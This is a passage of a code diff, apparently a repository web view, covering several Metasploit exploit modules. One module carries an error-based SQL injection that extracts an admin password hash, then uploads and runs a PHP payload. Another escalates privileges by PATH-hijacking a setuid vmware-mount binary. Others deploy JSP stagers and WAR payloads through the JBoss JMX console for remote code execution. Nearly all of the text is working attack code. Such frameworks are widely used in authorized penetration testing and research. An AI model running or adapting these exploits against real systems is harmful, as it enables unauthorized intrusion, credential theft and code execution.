sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
sqli << "x)a) AND 'msf'='msf"
password = inject_sql(sqli, clue)
if password && password.length != 0
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
else
print_error("#{peer} - Unable to extract password hash!")
return false
end
end
def inject_sql(sql, fence_post)
# Extract password hash from database
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
'vars_post' => {
'action' => 'login',
'user' => sql,
'password' => 'pass',
'input' => 'Login'
}
})
result = nil
if res && res.code == 200
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
if match
result = match[1]
else
print_error("#{peer} - SQL injection failed")
end
end
result
end
def upload
# Extract hash and hash2 from response
res = send_request_cgi({
'method' => 'GET',
'cookie' => @cookie,
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager'
}
})
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
form = $1
# Extract hash
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
hash = $1
else
print_error("#{peer} - Could not extract hash from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
# Extract hash2
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
hash2 = $1
else
print_error("#{peer} - Could not extract hash2 from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
# Extract real_directory
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
real_directory = $1
else
print_error("#{peer} - Could not extract real_directory from response!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
else
print_error("#{peer} - Could not identify upload form!")
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
# Upload script
@payload_name = "#{rand_text_alpha(8)}.php"
post_data = Rex::MIME::Message.new
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
res = send_request_cgi({
'method' => 'POST',
'cookie' => @cookie,
'uri' => normalize_uri(uri, 'index.php'),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => post_data.to_s,
'vars_get' => {
'sec' => 'gsetup',
'sec2' => 'godmode/setup/file_manager'
}
})
if res && res.code == 200 && res.body.include?("Upload correct")
register_file_for_cleanup(@payload_name)
print_status("#{peer} - Successfully uploaded payload")
else
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
end
end
def exploit
# First try to authenticate using default or user-supplied credentials
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
auth = authenticate
unless auth
print_status("#{peer} - Attempting to extract auto login hash via SQLi")
auth = login_hash
end
unless auth
print_status("#{peer} - Attempting to extract admin password hash with SQLi")
extract
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
end
print_status("#{peer} - Uploading PHP payload...")
upload
print_status("#{peer} - Executing payload...")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'images', @payload_name),
'cookie' => @cookie
}, 1)
end
end

View File

@ -53,6 +53,9 @@ class Metasploit4 < Msf::Exploit::Local
'DisclosureDate' => "Aug 22 2013"
}
))
register_options([
OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
], self.class)
end
def check
@ -64,17 +67,18 @@ class Metasploit4 < Msf::Exploit::Local
end
def exploit
unless check == CheckCode::Vulnerable
unless check == CheckCode::Appears
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end
write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")
lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}")
cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
# Delete it here instead of using FileDropper because the original
# session can clean it up
cmd_exec("rm -f lsb_release")
cmd_exec("rm -f #{lsb_path}")
end
def setuid?(remote_file)

View File

@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote
mytarget = target
if target.name =~ /Automatic/
mytarget = auto_target
mytarget = auto_target(targets)
unless mytarget
fail_with(Failure::NoTarget, "Unable to automatically select a target")
end
@ -195,73 +195,4 @@ class Metasploit3 < Msf::Exploit::Remote
handler
end
def auto_target
if http_verb == 'HEAD' then
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
else
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
end
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(target_uri.path.to_s, '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
res = send_request_raw(
{
'uri' => path,
'method' => http_verb
})
unless res && res.code == 200
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (arch =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end

View File

@ -1,10 +1,7 @@
# -*- coding: binary -*-
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
@ -12,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::HTTP::JBoss
def initialize(info = {})
super(update_info(info,
@ -78,12 +75,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(8080),
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
], self.class)
end
@ -91,23 +84,16 @@ class Metasploit3 < Msf::Exploit::Remote
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
stager_base = rand_text_alpha(8+rand(8))
head_stager_jsp = rand_text_alpha(8+rand(8))
stager_jsp = rand_text_alpha(8+rand(8))
content_var = rand_text_alpha(8+rand(8))
decoded_var = rand_text_alpha(8+rand(8))
file_path_var = rand_text_alpha(8+rand(8))
jboss_home_var = rand_text_alpha(8+rand(8))
fos_var = rand_text_alpha(8+rand(8))
bw_var = rand_text_alpha(8+rand(8))
stager_jsp_name = rand_text_alpha(8+rand(8))
p = payload
mytarget = target
if (datastore['VERB'] == 'HEAD')
if (http_verb == 'HEAD')
print_status("Unable to automatically select a target with HEAD requests")
else
if (target.name =~ /Automatic/)
mytarget = auto_target()
mytarget = auto_target(targets)
if (not mytarget)
fail_with(Failure::NoTarget, "Unable to automatically select a target")
end
@ -134,101 +120,46 @@ class Metasploit3 < Msf::Exploit::Remote
}).to_s
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
# The following jsp script will write the stager to the
# deploy/management directory. It is only used with HEAD/GET requests
# to overcome the size limit in those requests
head_stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp}" + ".jsp";
if (request.getParameter("#{content_var}") != null) {
try {
String #{content_var} = "";
#{content_var} = request.getParameter("#{content_var}");
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
#{bw_var}.write(#{content_var});
#{bw_var}.close();
}
catch(Exception e)
{
}
}
%>
EOT
# The following jsp script will write the exploded WAR file to the deploy/
# directory or try to delete it
stager_jsp_code = <<-EOT
<%@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
try {
String #{content_var} = "#{encoded_payload}";
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
#{fos_var}.write(#{decoded_var});
#{fos_var}.close();
}
catch(Exception e)
{
}
%>
EOT
stager_contents = stager_jsp_with_payload(app_base, encoded_payload)
# Depending on the type on the verb we might use a second stager
if datastore['VERB'] == "POST" then
if http_verb == "POST" then
print_status("Deploying stager for the WAR file")
res = upload_file(stager_base, stager_jsp, stager_jsp_code)
res = upload_file(stager_base, stager_jsp_name, stager_contents)
else
print_status("Deploying minimal stager to upload the payload")
res = upload_file(stager_base, head_stager_jsp, head_stager_jsp_code)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp + ".jsp?"
head_stager_jsp_name = rand_text_alpha(8+rand(8))
head_stager_contents = head_stager_jsp(stager_base, stager_jsp_name)
head_stager_uri = "/" + stager_base + "/" + head_stager_jsp_name + ".jsp"
res = upload_file(stager_base, head_stager_jsp_name, head_stager_contents)
# We split the stager_jsp_code in multipe junks and transfer on the
# target with multiple requests
current_pos = 0
while current_pos < stager_jsp_code.length
while current_pos < stager_contents.length
next_pos = current_pos + 5000 + rand(100)
junk = "#{content_var}=" + Rex::Text.uri_encode(stager_jsp_code[current_pos,next_pos])
print_status("Uploading second stager (#{current_pos}/#{stager_jsp_code.length})")
res = call_uri_mtimes(head_stager_uri + junk)
vars_get = { "arg0" => stager_contents[current_pos,next_pos] }
print_status("Uploading second stager (#{current_pos}/#{stager_contents.length})")
res = deploy('uri' => head_stager_uri,
'vars_get' => vars_get)
current_pos += next_pos
end
end
# Call the stager to deploy the payload war file
# Using HEAD may trigger a 500 Internal Server Error (at leat on 4.2.3.GA),
# but the file still gets written.
if (res.code == 200 || res.code == 500)
unless res && ( res.code == 200 || res.code == 500)
fail_with(Failure::Unknown, "Failed to deploy")
end
print_status("Calling stager to deploy the payload warfile (might take some time)")
stager_uri = '/' + stager_base + '/' + stager_jsp + '.jsp'
stager_res = call_uri_mtimes(stager_uri)
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
stager_res = deploy('uri' => stager_uri,
'method' => 'GET')
print_status("Try to call the deployed payload")
# Try to execute the payload by calling the deployed WAR file
payload_uri = "/" + app_base + "/" + jsp_name + '.jsp'
payload_res = call_uri_mtimes(payload_uri)
payload_res = deploy('uri' => payload_uri)
#
# DELETE
@ -236,187 +167,22 @@ EOT
# The WAR can only be removed by physically deleting it, otherwise it
# will get redeployed after a server restart.
print_status("Undeploying stager and payload WARs via DeploymentFileRepository.remove()...")
print_status("This might take some time, be patient...") if datastore['VERB'] == "HEAD"
print_status("This might take some time, be patient...") if http_verb == "HEAD"
delete_res = []
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', stager_jsp, '.jsp')
delete_res << delete_file(Rex::Text.uri_encode(stager_base) + '.war', head_stager_jsp, '.jsp')
delete_res << delete_file('./', Rex::Text.uri_encode(stager_base) + '.war', '')
delete_res << delete_file('./', Rex::Text.uri_encode(app_base) + '.war', '')
if head_stager_jsp_name
delete_res << delete_file(stager_base + '.war', head_stager_jsp_name, '.jsp')
end
delete_res << delete_file(stager_base + '.war', stager_jsp_name, '.jsp')
delete_res << delete_file('./', stager_base + '.war', '')
delete_res << delete_file('./', app_base + '.war', '')
delete_res.each do |res|
if !res
print_warning("WARNING: Unable to remove WAR [No Response]")
elsif (res.code < 200 || res.code >= 300)
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
end
end
handler
end
end
# Upload a text file with DeploymentFileRepository.store()
def upload_file(base_name, jsp_name, content)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=store'
data << '&argType=java.lang.String'
data << '&arg0=' + Rex::Text.uri_encode(base_name) + '.war'
data << '&argType=java.lang.String'
data << '&arg1=' + jsp_name
data << '&argType=java.lang.String'
data << '&arg2=.jsp'
data << '&argType=java.lang.String'
data << '&arg3=' + Rex::Text.uri_encode(content)
data << '&argType=boolean'
data << '&arg4=True'
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Delete a file with DeploymentFileRepository.remove().
def delete_file(folder, name, ext)
data = 'action=invokeOpByName'
data << '&name=jboss.admin%3Aservice%3DDeploymentFileRepository'
data << '&methodName=remove'
data << '&argType=java.lang.String'
data << '&arg0=' + folder
data << '&argType=java.lang.String'
data << '&arg1=' + name
data << '&argType=java.lang.String'
data << '&arg2=' + ext
if (datastore['VERB'] == "POST")
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
'method' => datastore['VERB'],
'data' => data
}, 5)
else
res = send_request_cgi(
{
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor;index.jsp') + "?#{data}",
'method' => datastore['VERB'],
}, 30)
end
res
end
# Call the URL multiple times until we have hit
def call_uri_mtimes(uri, num_attempts = 5)
verb = 'HEAD' if (datastore['VERB'] != 'GET' and datastore['VERB'] != 'POST')
# JBoss might need some time for the deployment. Try 5 times at most and
# wait 5 seconds inbetween tries
num_attempts.times do |attempt|
res = send_request_cgi({
'uri' => uri,
'method' => verb
}, 30)
stripped_uri = uri[0,70] + "..."
msg = nil
if (!res)
msg = "Execution failed on #{stripped_uri} [No Response]"
elsif (res.code < 200 or res.code >= 300)
msg = "http request failed to #{stripped_uri} [#{res.code}]"
elsif (res.code == 200)
print_status("Successfully called '#{stripped_uri}'") if datastore['VERBOSE']
return res
end
if (attempt < num_attempts - 1)
msg << ", retrying in 5 seconds..."
print_status(msg) if datastore['VERBOSE']
select(nil, nil, nil, 5)
else
print_error(msg)
return res
end
end
end
def auto_target
print_status("Attempting to automatically select a target...")
res = query_serverinfo
if not (plat = detect_platform(res))
fail_with(Failure::NoTarget, 'Unable to detect platform!')
end
if not (arch = detect_architecture(res))
fail_with(Failure::NoTarget, 'Unable to detect architecture!')
end
# see if we have a match
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
# no matching target found, use Java as fallback
java_targets = targets.select {|t| t.name =~ /^Java/ }
return java_targets[0]
end
def query_serverinfo
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor') + '?action=inspectMBean&name=jboss.system:type=ServerInfo'
res = send_request_raw(
{
'uri' => path,
'method' => datastore['VERB']
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
res
end
# Try to autodetect the target platform
def detect_platform(res)
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
os = $1
if (os =~ /Linux/i)
return 'linux'
elsif (os =~ /FreeBSD/i)
return 'linux'
elsif (os =~ /Windows/i)
return 'win'
end
end
nil
end
# Try to autodetect the target architecture
def detect_architecture(res)
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
arch = $1
if (arch =~ /(x86|i386|i686)/i)
return ARCH_X86
elsif (arch =~ /(x86_64|amd64)/i)
return ARCH_X86
end
end
nil
end
end

Some files were not shown because too many files have changed in this diff Show More